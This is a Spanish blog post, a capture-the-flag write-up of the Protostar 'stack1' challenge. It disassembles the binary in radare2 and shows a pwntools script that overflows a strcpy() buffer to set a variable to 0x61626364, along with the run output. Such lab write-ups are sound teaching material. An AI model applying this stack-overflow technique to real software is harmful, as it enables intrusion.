Pages

domingo, 29 de julio de 2018

Protostar CTF - stack1

El binario ./stack1 es idéntico a ./stack0 salvo por algunas pequeñas diferencias, veamos cuáles:

dpc@kernelinside:~/protostar/bin$ ./stack1 test
Try again, you got 0x00000000

Esta vez ./stack1 recibe la entrada mediante un argumento y no desde stdin como en el reto anterior. Además, el mensaje de chico bueno nos indica un valor en hexadecimal, que intuimos es el que actualmente tiene la variable canary que ya vimos en ./stack0. Procedemos con radare2:

dpc@kernelinside:~/protostar/bin$ r2 ./stack1
 -- This computer has gone to sleep.
[0x080483b0]> aas
[0x080483b0]> e asm.bytes=false
[0x080483b0]> iz
000 0x000005a0 0x080485a0  27  28 (.rodata) ascii please specify an argument\n
001 0x000005bc 0x080485bc  54  55 (.rodata) ascii you have correctly got the variable to the right value
002 0x000005f3 0x080485f3  26  27 (.rodata) ascii Try again, you got 0x%08x\n

Ningún mensaje misterioso por el momento.

[0x080483b0]> afl
0x08048000   25 824  -> 826  segment.LOAD0
0x08048114   21 548  -> 549  segment.INTERP
0x08048338    1 12           fcn.08048338
0x08048348    1 6            loc.imp.__gmon_start
0x08048358    1 6            sym.imp.__libc_start_main
0x08048368    1 6            sym.imp.strcpy
0x08048378    1 6            sym.imp.printf
0x08048388    1 6            sym.imp.errx
0x08048398    1 6            sym.imp.puts
0x080483b0    1 33           sym._start
0x080483e0    6 85           sym.__do_global_dtors_aux
0x08048440    4 35           sym.frame_dummy
0x08048464    6 115          main
0x080484e0    1 5            sym.__libc_csu_fini
0x080484f0    4 90           sym.__libc_csu_init
0x0804854a    1 4            sym.__i686.get_pc_thunk.bx
0x08048550    4 42           sym.__do_global_ctors_aux
0x0804857c    1 28           sym._fini
0x08048598   23 124  -> 130  obj._fp_hw

Efectivamente, de nuevo solo main() como objetivo principal:

[0x080483b0]> s main
[0x08048464]> pdf
/ (fcn) main 115
|   main (int arg_8h, int arg_ch);
|           ; arg int arg_8h @ ebp+0x8
|           ; arg int arg_ch @ ebp+0xc
|           ; var int local_4h @ esp+0x4
|           ; var int local_1ch @ esp+0x1c
|           ; var int local_5ch @ esp+0x5c
|           ; DATA XREF from sym._start (0x80483c7)
|           0x08048464      push ebp
|           0x08048465      mov ebp, esp
|           0x08048467      and esp, 0xfffffff0
|           0x0804846a      sub esp, 0x60                              ; '`'
|           0x0804846d      cmp dword [arg_8h], 1                      ; [0x1:4]=-1 ; 1
|       ,=< 0x08048471      jne 0x8048487
|       |   0x08048473      mov dword [local_4h], str.please_specify_an_argument ; [0x80485a0:4]=0x61656c70 ; "please specify an argument\n"
|       |   0x0804847b      mov dword [esp], 1
|       |   0x08048482      call sym.imp.errx

Se comprueba si arg_8h (argc) es distinto de 1, en caso contrario se imprime un mensaje de error. Sino, sigue así:

|       `-> 0x08048487      mov dword [local_5ch], 0
|           0x0804848f      mov eax, dword [arg_ch]                    ; [0xc:4]=-1 ; 12
|           0x08048492      add eax, 4
|           0x08048495      mov eax, dword [eax]
|           0x08048497      mov dword [local_4h], eax
|           0x0804849b      lea eax, [local_1ch]                       ; 0x1c ; 28
|           0x0804849f      mov dword [esp], eax
|           0x080484a2      call sym.imp.strcpy                        ; char *strcpy(char *dest, const char *src)

La variable local_5ch (canary) se establece a 0 y el argumento pasado al programa se copia mediante strcpy() en local_1ch (buffer).

|           0x080484a7      mov eax, dword [local_5ch]                 ; [0x5c:4]=-1 ; '\' ; 92
|           0x080484ab      cmp eax, 0x61626364                        ; 'dcba'
|       ,=< 0x080484b0      jne 0x80484c0

Se compara el valor del canary con la constante hexadecimal 0x61626364 (ascii "dcba"). En caso afirmativo hemos ganado:

|       |   0x080484b2      mov dword [esp], str.you_have_correctly_got_the_variable_to_the_right_value ; [0x80485bc:4]=0x20756f79 ; "you have correctly got the variable to the right value"
|       |   0x080484b9      call sym.imp.puts                          ; int puts(const char *s)
|      ,==< 0x080484be      jmp 0x80484d5

De ser distinto nos invitan a probar de nuevo:

|      |`-> 0x080484c0      mov edx, dword [local_5ch]                 ; [0x5c:4]=-1 ; '\' ; 92
|      |    0x080484c4      mov eax, str.Try_again__you_got_0x_08x     ; 0x80485f3 ; "Try again, you got 0x%08x\n"
|      |    0x080484c9      mov dword [local_4h], edx
|      |    0x080484cd      mov dword [esp], eax
|      |    0x080484d0      call sym.imp.printf                        ; int printf(const char *format)
|      |    ; CODE XREF from main (0x80484be)
|      `--> 0x080484d5      leave
\           0x080484d6      ret

Como vemos, la vulnerabilidad es idéntica a la de ./stack0, esta vez llamando a una función strcpy() sin control de límites. La diferencia es que ahora nos piden que modifiquemos el canary con un valor elegido por los creadores del reto, y recordando siempre que la arquitectura i386 es little-endian. Aquí el exploit:

from pwn import *
context(arch="i386", os="linux")
context.binary="/home/dpc/protostar/bin/stack1"

padding = "A"*64
canary  = 0x61626364

def exploit():
    payload = padding + p32(canary)
    p = process(argv=[context.binary.path, payload])
    print(p.recv())

if __name__ == "__main__":
    exploit()

Lanzamos el script:

dpc@kernelinside:~/protostar/bin$ python ./exp_stack1.py 
[*] '/home/dpc/protostar/bin/stack1'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Starting local process '/home/dpc/protostar/bin/stack1': pid 1636
[*] Process '/home/dpc/protostar/bin/stack1' stopped with exit code 55 (pid 1636)
you have correctly got the variable to the right value

Pwned!

No hay comentarios:

Publicar un comentario

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...